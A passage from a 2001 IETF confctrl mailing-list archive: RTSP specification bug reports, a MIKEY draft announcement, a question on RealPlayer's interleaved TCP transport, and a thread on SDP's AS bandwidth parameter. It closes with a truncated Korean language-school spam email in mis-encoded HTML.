added to the document to clarify this.  The sentence 
should simply explain what the BNF-syntax already 
describes, namely that the value of the ssrc 
attribute should be represented as 8 hexadecimal 
characters.


----------------------------------------------------------------------

>Comment By: Rob Lanphier (robla)
Date: 2001-11-16 18:26

Message:
Logged In: YES 
user_id=3796

I've added the following text in the "Transport" header section (note: ssrc is not a valid parameter in 
Rtp-Info)

"It identifies the synchronization source to be associated with the media stream, and is expressed as an 
eight digit hexidecimal value."


----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=448525&group_id=23194

From confctrl-owner  Mon Nov 19 01:38:12 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id BAA15590
	for confctrl-outgoing; Mon, 19 Nov 2001 01:38:12 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA15585
	for <confctrl@zephyr.isi.edu>; Mon, 19 Nov 2001 01:38:10 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAJ9cjg10916
	for <confctrl@isi.edu>; Mon, 19 Nov 2001 01:38:46 -0800 (PST)
Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAJ9cif24696
	for <confctrl@isi.edu>; Mon, 19 Nov 2001 10:38:44 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Nov 19 10:38:41 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2LZ81G>; Mon, 19 Nov 2001 10:30:37 +0100
Message-ID: <0DAEDF148988D411BB980008C7E65D2E04FE3EDB@esealnt416>
From: "Fredrik Lindholm (ERA)" <Fredrik.Lindholm@era.ericsson.se>
To: msec@securemulticast.org, confctrl@ISI.EDU
Cc: "Elisabetta Carrara (ERA)" <Elisabetta.Carrara@era.ericsson.se>
Subject: Key Management for Multimedia Sessions
Date: Mon, 19 Nov 2001 10:38:26 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


FYI

The following drafts are the continuation of the work on the "Key Management for Multimedia Sessions" draft presented in London (at the MSEC and MMUSIC sessions). The original draft has now been split between the MMUSIC WG (where key management extensions to SDP and RTSP are handled) and the MSEC WG (where the protocol itself is handled). 

The MSEC draft ("MIKEY: Multimedia Internet KEYing") can be found at:
http://www.ietf.org/internet-drafts/draft-ietf-msec-mikey-00.txt

and the MMUSIC draft ("Key Management Extensions for SDP and RTSP") can be found at:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-kmgmt-ext-00.txt

We would appreciate any comments. 


Fredrik & Elisabetta

From confctrl-owner  Mon Nov 19 04:18:15 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA21056
	for confctrl-outgoing; Mon, 19 Nov 2001 04:18:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA21051
	for <confctrl@zephyr.isi.edu>; Mon, 19 Nov 2001 04:18:13 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAJCIog14124
	for <confctrl@isi.edu>; Mon, 19 Nov 2001 04:18:50 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 165nNx-0003wL-00; Mon, 19 Nov 2001 04:18:49 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 165nNx-0004Ns-00; Mon, 19 Nov 2001 04:18:49 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-483356 ] media URL in Play on aggregated session
Message-Id: <E165nNx-0004Ns-00@usw-sf-web3.sourceforge.net>
Date: Mon, 19 Nov 2001 04:18:49 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #483356, was opened at 2001-11-19 04:17
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=483356&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: media URL in Play on aggregated session

Initial Comment:
In the current specification a URL is required in a PLAY/PAUSE request. When using aggregated 
control to bind multiple medias to a single session this URL is not obvious. If a user binds multiple 
medias that not are defined as a multimedia presentation a container URL does not exist. 
Therefore 
it needs to be clarefied what the aggregated URL will be in this case. An alternative would be to 
allow * as URL and use the session-id to destignate aggregated PLAY and PAUSE for this session.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=483356&group_id=23194

From confctrl-owner  Mon Nov 19 04:20:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id EAA21182
	for confctrl-outgoing; Mon, 19 Nov 2001 04:20:49 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA21177
	for <confctrl@zephyr.isi.edu>; Mon, 19 Nov 2001 04:20:48 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAJCLOg14876
	for <confctrl@isi.edu>; Mon, 19 Nov 2001 04:21:24 -0800 (PST)
Received: from usw-sf-web3-b.sourceforge.net ([10.3.1.7] helo=usw-sf-web3.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 165nQR-0003zF-00; Mon, 19 Nov 2001 04:21:23 -0800
Received: from nobody by usw-sf-web3.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 165nQR-0004Po-00; Mon, 19 Nov 2001 04:21:23 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-483358 ] media URL in Play on aggregated session
Message-Id: <E165nQR-0004Po-00@usw-sf-web3.sourceforge.net>
Date: Mon, 19 Nov 2001 04:21:23 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #483358, was opened at 2001-11-19 04:19
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=483358&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: media URL in Play on aggregated session

Initial Comment:
In the current specification a URL is required in a PLAY/PAUSE request. When using aggregated 
control to bind multiple medias to a single session this URL is not obvious. If a user binds multiple 
medias that not are defined as a multimedia presentation a container URL does not exist. 
Therefore 
it needs to be clarefied what the aggregated URL will be in this case. An alternative would be to 
allow * as URL and use the session-id to destignate aggregated PLAY and PAUSE for this session.

----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=483358&group_id=23194

From confctrl-owner  Mon Nov 19 14:01:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA12745
	for confctrl-outgoing; Mon, 19 Nov 2001 14:01:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA12740
	for <confctrl@zephyr.isi.edu>; Mon, 19 Nov 2001 14:01:10 -0800 (PST)
Received: from prognet.com ([205.219.198.1])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAJM1kg17267
	for <confctrl@ISI.EDU>; Mon, 19 Nov 2001 14:01:46 -0800 (PST)
Received: from robla350.real.com ([172.23.100.116])
	by prognet.com (8.9.2/8.9.0) with ESMTP id OAA06136;
	Mon, 19 Nov 2001 14:01:42 -0800 (PST)
Message-Id: <5.1.0.14.2.20011119134542.0350c1d0@goobox.prognet.com>
X-Sender: robla@goobox.prognet.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 19 Nov 2001 14:01:33 -0800
To: Tianbo Kuang <kuang@cpsc.ucalgary.ca>, confctrl@ISI.EDU
From: Rob Lanphier <robla@real.com>
Subject: Re: x-pn-tng/tcp encapsulation.
In-Reply-To: <3BF150B4.3EB9BD15@cpsc.ucalgary.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Tianbo,

Answers to your questions inline...

At 09:56 AM 11/13/01 -0700, Tianbo Kuang wrote:
>I have some questions about transporting rtsp data on interleaved tcp
>connection.
>     (1) rfc2326 says the RTP data packets are encapsulated by an ascii
>dollar sign (hex 24), followed by channel id, length and data. My
>question is: how can we tell the start of a data packet if the data area 
>also contains a (24, channel id) combination?

I'm not sure what you mean by this.  The idea is that the interleaved data 
looks as follows:
     0                   1                   2                   3
     0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |      "$"      |  channel id   |             length            |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |                             data                              |
    |                             ....                              |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

>     (2) From my captured data, I saw realserver always uses x-pn-tng/tcp 
> as the transport protocol, although my realplayer 8 basic reported 
> x-pn-tng/tcp, x-real-rdt/tcp, rtp/avp/tcp. I know x-real-rdt is 
> realnetwork's properitary protocol. But what is x-pn-tng? Does it have 
> the same data encapsulation as rdt or rtp/tcp interleaved?

x-pn-tng is a synonym for x-real-rdt/tcp.  More information can be found in 
our RTSP Proxy Whitepaper:

http://docs.real.com/docs/proxykit/rtspd.pdf

>     (3) I analyzed the captured data from a streaming session. From the 
> data I can see the server is RealServer 8.0.1.367. I was using
>realplayer 8 basic. The setup process chose x-pn-tng/tcp as the
>transport protocol with audio in channel 0 and video in channel 1. I
>searched 2400 and 2401 as the start of a new data packet (assuming it
>has the same encapsulation as rtp/tcp). However, some of the length
>fields are not correct as shown as follows,
>     I have marked in the frame the total IP packet length is 1041 (minus 
> 40 length tcp/ip header = 1021). However, the first audio data has the 
> length of 397. The second audio data has a length of 616 while the video 
> data has length 5666. The total length is much bigger than the total ip 
> packet. Although a rtsp message may only contain part of a data packet, 
> the next frame has a total length 1301 with the first audio data 615, 
> second audio data 62 and third audio data 612. Since 615+62+612 
> +3*4=1301, the total length is correct and it doesn't look to contain 
> information about the previous message.  I've noticed other inconsistant 
> points. What's wrong here?

I'm not sure.  I'll look into this, and respond offline (we're getting into 
RealSystem specifics that aren't of general interest on this list).

>P.S. Anybody knows how to force realplayer 8 basic to use rtp? I addd
>HKEY_CLASSES_ROOT\Software\RealNetworks\RealPlayer\6.0\Preferences\UseRTP
>1. It doesn't work.

The key is as follows:
HKEY_CLASSES_ROOT\Software\RealNetworks\RealMediaSDK\6.0\Preferences\UseRTP

However, that won't necessarily force the server to use RTP.  Be sure to 
try this on something like an .au file or an .mov file with standard 
datatypes in it (e.g. H.261 video and mu-law audio).

Rob


From confctrl-owner  Tue Nov 20 08:00:29 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA21751
	for confctrl-outgoing; Tue, 20 Nov 2001 08:00:29 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA21746
	for <confctrl@zephyr.isi.edu>; Tue, 20 Nov 2001 08:00:28 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAKG15g22740
	for <confctrl@ISI.EDU>; Tue, 20 Nov 2001 08:01:05 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fAKG0rE05607;
	Tue, 20 Nov 2001 08:00:58 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id fAKG0pW13796;
	Tue, 20 Nov 2001 08:00:51 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id IAA10298; Tue, 20 Nov 2001 08:00:41 -0800 (PST)
Message-ID: <3BFA7E37.11BB39C6@cisco.com>
Date: Tue, 20 Nov 2001 11:00:56 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Lide <dlide@telogy.com>
CC: "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Subject: Re: AS parameter in SDP
References: <61891BA043DED21180920090273F173802A7CD60@tnint06.telogy.design.ti.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I have asked this question myself before, but never gotten an official answer. I
have had discussions with a few people in private, and the opinion there has
been that it should include RTP header overhead. The reason for at least
including RTP header overhead is, that if it doesn't somehow account for the
varying header overhead that different packetization periods will lead to, then
it's unclear what benefit the parameter provides. Letting it apply to any lower
layers could be considered a layer violation.

Colin:    Assuming nobody disagrees with the above, can we get this clarified in
the SDP-new draft ?

Thanks

        Flemming

David Lide wrote:

> There seems to be some confusion on the exact definition of the AS parameter
> in SDP.  Should this
> value reflect just the RTP payload requirements (e.g. 64 kbps for PCM voice)
> or include the RTP header, IP, UDP header, security overhead, etc.
>
> thanks,
> dave

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Tue Nov 20 08:48:36 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA23477
	for confctrl-outgoing; Tue, 20 Nov 2001 08:48:36 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA23472
	for <confctrl@zephyr.isi.edu>; Tue, 20 Nov 2001 08:48:34 -0800 (PST)
Received: from purple.nge.isi.edu (they106.east.isi.edu [65.114.168.106])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAKGnBg10432
	for <confctrl@ISI.EDU>; Tue, 20 Nov 2001 08:49:11 -0800 (PST)
Received: from purple.nge.isi.edu (localhost [127.0.0.1])
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fAKGn5o01441;
	Tue, 20 Nov 2001 11:49:06 -0500
Message-Id: <200111201649.fAKGn5o01441@purple.nge.isi.edu>
To: Flemming Andreasen <fandreas@cisco.com>
cc: David Lide <dlide@telogy.com>, "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: AS parameter in SDP 
In-Reply-To: Your message of "Tue, 20 Nov 2001 11:00:56 EST."
             <3BFA7E37.11BB39C6@cisco.com> 
Date: Tue, 20 Nov 2001 11:49:05 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I always assumed this was the RTP session bandwidth (section 6.2 of the RTP
specification), and hence included RTP/UDP/IP header overheads. 

Colin


--> Flemming Andreasen writes:
>I have asked this question myself before, but never gotten an official answer. I
>have had discussions with a few people in private, and the opinion there has
>been that it should include RTP header overhead. The reason for at least
>including RTP header overhead is, that if it doesn't somehow account for the
>varying header overhead that different packetization periods will lead to, then
>it's unclear what benefit the parameter provides. Letting it apply to any lower
>layers could be considered a layer violation.
>
>Colin:    Assuming nobody disagrees with the above, can we get this clarified in
>the SDP-new draft ?
>
>Thanks
>
>        Flemming
>
>David Lide wrote:
>
>> There seems to be some confusion on the exact definition of the AS parameter
>> in SDP.  Should this
>> value reflect just the RTP payload requirements (e.g. 64 kbps for PCM voice)
>> or include the RTP header, IP, UDP header, security overhead, etc.
>>
>> thanks,
>> dave
>
>--
>Flemming Andreasen
>Cisco Systems
>
>

From confctrl-owner  Tue Nov 20 09:12:57 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA24400
	for confctrl-outgoing; Tue, 20 Nov 2001 09:12:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA24395
	for <confctrl@zephyr.isi.edu>; Tue, 20 Nov 2001 09:12:55 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAKHDVg21003;
	Tue, 20 Nov 2001 09:13:31 -0800 (PST)
Received: from sj-msg-av-1.cisco.com (sj-msg-av-1.cisco.com [171.69.11.130])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fAKHDPE03133;
	Tue, 20 Nov 2001 09:13:25 -0800 (PST)
Received: from mailman.cisco.com (localhost [127.0.0.1])
	by sj-msg-av-1.cisco.com (8.10.1/8.10.1) with ESMTP id fAKHDNW25375;
	Tue, 20 Nov 2001 09:13:23 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by mailman.cisco.com (8.9.3/CISCO.SERVER.1.2) with ESMTP id JAA01569; Tue, 20 Nov 2001 09:13:21 -0800 (PST)
Message-ID: <3BFA8F3E.CCA8B4@cisco.com>
Date: Tue, 20 Nov 2001 12:13:35 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <csp@ISI.EDU>
CC: David Lide <dlide@telogy.com>, "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: AS parameter in SDP
References: <200111201649.fAKGn5o01441@purple.nge.isi.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Colin Perkins wrote:

> I always assumed this was the RTP session bandwidth (section 6.2 of the RTP
> specification), and hence included RTP/UDP/IP header overheads.

While this is simple for well-known fixed size overhead as e.g. 20+8 bytes for
IP+UDP, it's not clear to me that an application would have access to other types of
overhead. For example, consider the use of IPSec or IPv6. Do we really want the app
to be concerned about such things ?

-- Flemming


>
>
> Colin
>
> --> Flemming Andreasen writes:
> >I have asked this question myself before, but never gotten an official answer. I
> >have had discussions with a few people in private, and the opinion there has
> >been that it should include RTP header overhead. The reason for at least
> >including RTP header overhead is, that if it doesn't somehow account for the
> >varying header overhead that different packetization periods will lead to, then
> >it's unclear what benefit the parameter provides. Letting it apply to any lower
> >layers could be considered a layer violation.
> >
> >Colin:    Assuming nobody disagrees with the above, can we get this clarified in
> >the SDP-new draft ?
> >
> >Thanks
> >
> >        Flemming
> >
> >David Lide wrote:
> >
> >> There seems to be some confusion on the exact definition of the AS parameter
> >> in SDP.  Should this
> >> value reflect just the RTP payload requirements (e.g. 64 kbps for PCM voice)
> >> or include the RTP header, IP, UDP header, security overhead, etc.
> >>
> >> thanks,
> >> dave
> >
> >--
> >Flemming Andreasen
> >Cisco Systems
> >
> >

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Tue Nov 20 19:57:09 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id TAA18157
	for confctrl-outgoing; Tue, 20 Nov 2001 19:57:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA18152
	for <confctrl@zephyr.isi.edu>; Tue, 20 Nov 2001 19:57:08 -0800 (PST)
Received: from purple.nge.isi.edu ([65.114.168.32])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAL3vhg13643
	for <confctrl@ISI.EDU>; Tue, 20 Nov 2001 19:57:44 -0800 (PST)
Received: from purple.east.isi.edu (localhost [127.0.0.1])
	by purple.east.isi.edu (8.11.6/8.11.6) with ESMTP id fAL3m7l01460;
	Tue, 20 Nov 2001 22:48:07 -0500
Message-Id: <200111210348.fAL3m7l01460@purple.east.isi.edu>
To: Flemming Andreasen <fandreas@cisco.com>
cc: David Lide <dlide@telogy.com>, "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: AS parameter in SDP 
In-Reply-To: Your message of "Tue, 20 Nov 2001 12:13:35 EST."
             <3BFA8F3E.CCA8B4@cisco.com> 
Date: Tue, 20 Nov 2001 22:48:07 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Flemming Andreasen writes:
>Colin Perkins wrote:
>> I always assumed this was the RTP session bandwidth (section 6.2 of the RTP
>> specification), and hence included RTP/UDP/IP header overheads.
>
>While this is simple for well-known fixed size overhead as e.g. 20+8 bytes
>for IP+UDP, it's not clear to me that an application would have access to
>other types of overhead. For example, consider the use of IPSec or IPv6.
>Do we really want the app to be concerned about such things ?

If you're using the bandwidth information for resource reservation or
capacity planning, you pretty much need to include the header sizes. 
If not, then it's advisory and the application can make a reasonable
guess and hope (nothing should break too badly if the values are not
quite right...).

Colin

From confctrl-owner  Wed Nov 21 07:42:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA13408
	for confctrl-outgoing; Wed, 21 Nov 2001 07:42:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA13392
	for <confctrl@zephyr.isi.edu>; Wed, 21 Nov 2001 07:42:03 -0800 (PST)
Received: from localhost ([203.240.175.31])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fALFgbg22850
	for <confctrl@isi.edu>; Wed, 21 Nov 2001 07:42:38 -0800 (PST)
Message-Id: <200111211542.fALFgbg22850@tnt.isi.edu>
Reply-To: ses24@ses24.com
From: ses¾îÇп¬¼ö¿ø<ses24@ses24.com>
To: confctrl@ISI.EDU
Subject: ÇØ¿Ü¿µ¾î¿¬¼ö
Mime-Version: 1.0
Content-Type: text/html; charset="ks_c_5601-1987"
Date: Thu, 22 Nov 2001 00:41:09 +0900
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=euc-kr">
<title> ¿µ¾î ¹è¿ì´Â Áñ°Å¿ò°ú ±â»ÝÀÌ °­¹°Ã³·³ È帣´Â ÇູÇÑ  SES º¸±â!   </title>
<meta name="GENERATOR" content="Namo WebEditor v5.0">
<meta name="description" content="½ºÅ¸ÀÏÀÌ ÀüÇô Àû¿ëµÇÁö ¾ÊÀº »õ ¹®¼­ ¾ç½ÄÀ» ¸¸µì´Ï´Ù.">
</head>
<body>
<BR><img src="http://www.ses24.com/images/lang2_01.gif" width="704" height="78" border="0" usemap="#ImageMap2"><BR><TABLE cellSpacing=0 cellPadding=0 width="682">
<TBODY>
<TR>
<TD vAlign=top align=left width="513">
<TABLE cellSpacing=0 borderColorDark=white cellPadding=0 width=462
borderColorLight=black>
<TBODY>
<TR>
<TD width=8 height=3>
<P><SPAN style="FONT-SIZE: 8pt">&nbsp;</SPAN></P></TD>
<TD width=454 height=3>
<P align=center><SPAN style="FONT-SIZE: 8pt">&nbsp;</SPAN></P></TD></TR>
<TR>
<TD width=8 height=17>
<P>&nbsp;</P></TD>
<TD width=454 height=17>
<TABLE width=454 border=0>
<TBODY>
<TR>
<TD width=454 bgColor=#f8f8f8 height=8>
<P><SPAN style="FONT-SIZE: 10pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.ses24.com/ses_popup_1.htm"><IMG height=18
src="http://www.ses24.com/images/special.gif" width=319 border=0></a></SPAN></P></TD></TR>
<TR>
<TD width=454 height=3>
<P><SPAN style="FONT-SIZE: 10pt"><FONT color=#3672c0>&nbsp;<IMG height=10
src="http://www.ses24.com/images/arrow_02.gif" width=10 border=0> </FONT><A
href="http://www.ses24.com/ses_happy.htm"><FONT color=#3672c0>¿µ¾î ¹è¿ì´Â Áñ°Å¿ò°ú ±â»ÝÀÌ °­¹°Ã³·³ È帣´Â ÇູÇÑ
</FONT></A><B><A href="http://www.ses24.com/ses_happy.htm"><FONT color=#f67d2d>&nbsp;SES </FONT></A></B><A
href="http://www.ses24.com/ses_happy.htm"><FONT color=#3672c0>º¸±â!</FONT></A><FONT color=#3672c0>&nbsp;&nbsp;&nbsp;</FONT></SPAN></P></TD></TR>
<TR>
<TD width=454 bgColor=#e7e4e4>
<P><SPAN style="FONT-SIZE: 10pt"><FONT color=#3672c0>&nbsp;<IMG height=10
src="http://www.ses24.com/images/arrow_02.gif" width=10 border=0> </FONT><A target=contens
href="http://www.ses24.com/24_tutor.htm"><FONT color=#3672c0>SES´Â 24½Ã°£ Tutor¿Í ÇÔ²² »ýÈ°ÇÏ´Â ±â¼÷½Ä ¿µ¾î¿¬¼ö¾îÇпøÀ¸·Î½á
°ü±¤</FONT></A></SPAN></P></TD></TR>
<TR>
<TD width=454>
<P><SPAN style="FONT-SIZE: 10pt"><FONT color=#3672c0>&nbsp;&nbsp;</FONT><A target=contens
href="http://www.ses24.com/24_tutor.htm"><FONT color=#3672c0>µî ÇöÁö üÇèÀ» ÅëÇØ ½Ç¿ë ¿µ¾î¸¦ ÀÍÇô ¿¬¼ö»ýµéÀÇ ¿µ¾î Çâ»ó¿¡
Èû¾¹´Ï´Ù</FONT></A></SPAN></P></TD></TR>
<TR>
<TD width=454 bgColor=#e7e4e4>
<P><SPAN style="FONT-SIZE: 10pt"><FONT color=#3672c0>&nbsp;<IMG height=10
src="http://www.ses24.com/images/arrow_02.gif" width=10 border=0> </FONT><A target=contens
href="http://www.ses24.com/english.htm"><FONT color=#3672c0>SES´Â ¿µ¾î¿¡ ÀڽŠ¾ø´Â ºÐµé¸¸
ÃÊ´ëÇÕ´Ï´Ù.</FONT></A></SPAN></P></TD></TR>
<TR>
<TD style="BORDER-BOTTOM: rgb(231,228,228) 1px dotted" width=454>
<P><SPAN style="FONT-SIZE: 10pt"><FONT color=#3672c0>&nbsp;<IMG height=10
src="http://www.ses24.com/images/arrow_02.gif" width=10 border=0> </FONT><A target=contens
href="http://www.ses24.com/shinchung.htm"><FONT color=#3672c0>Áö±Ý
½ÅûÇϼ¼¿ä</FONT></A></SPAN></P></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD width=8 height=12>
<P>&nbsp;</P></TD>
<TD width=454 height=12>
<TABLE cellSpacing=0 cellPadding=1 width=450>
<TBODY>
<TR>
<TD width=317 bgColor=#f67d2d>
<P><a href="http://www.ses.com"><img src="http://www.ses24.com/images/video1.gif" width="150" height="60" border="0"></a></P></TD>
<TD width=317 bgColor=#f67d2d>
<P><a href="http://www.ses24.com"><img src="http://www.ses24.com/images/golfer1.gif" width="150" height="60" border="0"></a></P></TD>
<TD width=317 bgColor=#f67d2d>
<P><a href="http://www.ses24.com/ses_camp.htm"><img src="http://www.ses24.com/images/jstudy.gif" width="150" height="60" border="0"></a></P></TD></TR>
<TR>
<TD width=317>
<P><SPAN style="FONT-SIZE: 9pt"><FONT color=#2a2626>&nbsp;<IMG height=6
src="http://www.ses24.com/images/aaa.gif" width=4 align=absMiddle border=0> [樨毢
º¸±â]&nbsp;</FONT></SPAN></P></TD>
<TD width=317>
<P><SPAN style="FONT-SIZE: 9pt"><FONT color=#2a2626>&nbsp;<IMG height=6
src="http://www.ses24.com/images/aaa.gif" width=4 align=absMiddle border=0> [Çʸ®ÇÉ
°ü±¤/°ñÇÁ°ü±¤]</FONT></SPAN></P></TD>
<TD width=317>
<P><SPAN style="FONT-SIZE: 9pt"><FONT color=#2a2626>&nbsp;<IMG height=6
src="http://www.ses24.com/images/aaa.gif" width=4 align=absMiddle border=0> [</FONT><A target=_blank
href="ses_camp.htm"><FONT color=black>ÃÊÁß°í ¿µ¾î Ä·ÇÁ</FONT></A><FONT color=#2a2626>]<IMG height=9 src="http://www.ses24.com/images/icon_hot.gif" width=22 align=absMiddle
border=0></FONT></SPAN></P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD>
<TD width="169" height=158>
<TABLE cellSpacing=0 cellPadding=0 width=170>
<TBODY>
<TR>
<TD style="BORDER-RIGHT: rgb(231,228,228) 1px solid" width=14 height=19>
